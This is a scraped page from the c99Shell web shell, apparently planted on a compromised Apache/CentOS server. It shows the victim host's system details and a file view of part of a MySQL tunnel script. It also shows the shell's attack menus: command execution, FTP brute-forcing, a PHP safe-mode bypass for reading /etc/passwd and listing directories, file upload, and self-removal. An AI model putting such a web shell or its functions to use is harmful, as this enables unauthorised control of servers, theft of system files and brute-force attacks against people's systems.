!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/   drwxr-xr-x
Free 52.81 GB of 127.8 GB (41.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ntunnel_mysql.php (11.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
 11 ) $type = 8;
				elseif( $length > 9 ) $type = 3;
				elseif( $length > 6 ) $type = 9;
				elseif( $length > 4 ) $type = 2;
				else $type = 1;
				break;
			case "real":
				if( $length == 12 ) $type = 4;
				elseif( $length == 22 ) $type = 5;
				else $type = 0;
				break;
			case "null":
				$type = 6;
				break;
			case "timestamp":
				$type = 7;
				break;
			case "date":
				$type = 10;
				break;
			case "time":
				$type = 11;
				break;
			case "datetime":
				$type = 12;
				break;
			case "year":
				$type = 13;
				break;
			case "blob":
				if( $length > 16777215 ) $type = 251;
				elseif( $length > 65535 ) $type = 250;
				elseif( $length > 255 ) $type = 252;
				else $type = 249;
				break;
			default:
				$type = 253;
		}
		$str .= GetLongBinary($type);

		$flags = explode( " ", mysql_field_flags ( $res, $i ) );
		$intflag = 0;
		if(in_array( "not_null", $flags )) $intflag += 1;
		if(in_array( "primary_key", $flags )) $intflag += 2;
		if(in_array( "unique_key", $flags )) $intflag += 4;
		if(in_array( "multiple_key", $flags )) $intflag += 8;
		if(in_array( "blob", $flags )) $intflag += 16;
		if(in_array( "unsigned", $flags )) $intflag += 32;
		if(in_array( "zerofill", $flags )) $intflag += 64;
		if(in_array( "binary", $flags)) $intflag += 128;
		if(in_array( "enum", $flags )) $intflag += 256;
		if(in_array( "auto_increment", $flags )) $intflag += 512;
		if(in_array( "timestamp", $flags )) $intflag += 1024;
		if(in_array( "set", $flags )) $intflag += 2048;
		$str .= GetLongBinary($intflag);

		$str .= GetLongBinary($length);
	}
	echo $str;
}

function EchoData($res, $numfields, $numrows)
{
	for( $i = 0; $i < $numrows; $i++ ) {
		$str = "";
		$row = mysql_fetch_row( $res );
		for( $j = 0; $j < $numfields; $j++ ){
			if( is_null($row[$j]) )
				$str .= "\xFF";
			else
				$str .= GetBlock($row[$j]);
		}
		echo $str;
	}
}

	if (phpversion_int() < 40005) {
		EchoHeader(201);
		echo GetBlock("unsupported php version");
		exit();
	}

	if (phpversion_int() < 40010) {
		global $HTTP_POST_VARS;
		$_POST = &$HTTP_POST_VARS;	
	}

	if (!isset($_POST["actn"]) 
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--